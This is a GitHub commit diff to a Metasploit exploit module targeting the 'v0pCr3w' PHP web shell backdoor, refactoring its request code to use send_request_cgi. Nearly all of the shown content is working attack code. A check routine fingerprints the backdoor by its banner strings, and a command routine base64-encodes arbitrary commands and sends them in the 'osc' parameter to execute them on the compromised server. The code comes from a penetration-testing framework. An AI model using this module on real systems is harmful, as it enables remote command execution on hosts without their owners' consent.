Skip to content

Commit a534624

Browse files
author
bwall
committed
Updated v0pCr3w_exec to use send_request_cgi
1 parent 5218831 commit a534624

File tree

1 file changed

+15
-8
lines changed

1 file changed

+15
-8
lines changed

modules/exploits/multi/misc/v0pCr3w_exec.rb

Lines changed: 15 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -53,21 +53,28 @@ def initialize(info={})
5353
end
5454

5555
def check
56-
uri = normalize_uri(datastore['URI'])
57-
uri += "?lol=1"
58-
59-
shell = send_request_raw({'uri' => uri}, 25)
56+
shell = send_request_cgi({
57+
'method' => 'GET',
58+
'uri' => normalize_uri(datastore['URI']),
59+
'vars_get' => {
60+
'lol' => '1'
61+
}
62+
})
6063
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
6164
return Exploit::CheckCode::Vulnerable
6265
end
6366
return Exploit::CheckCode::Safe
6467
end
6568

6669
def http_send_command(cmd, opts = {})
67-
p = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd))
68-
uri = normalize_uri(datastore['URI'])
69-
uri += '?osc=' + p
70-
res = send_request_raw({'uri' => uri}, 25)
70+
p = Rex::Text.encode_base64(cmd)
71+
res = send_request_cgi({
72+
'method' => 'GET',
73+
'uri' => normalize_uri(datastore['URI']),
74+
'vars_get' => {
75+
'osc' => p
76+
}
77+
})
7178
if not (res and res.code == 200)
7279
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
7380
end

0 commit comments

Comments
 (0)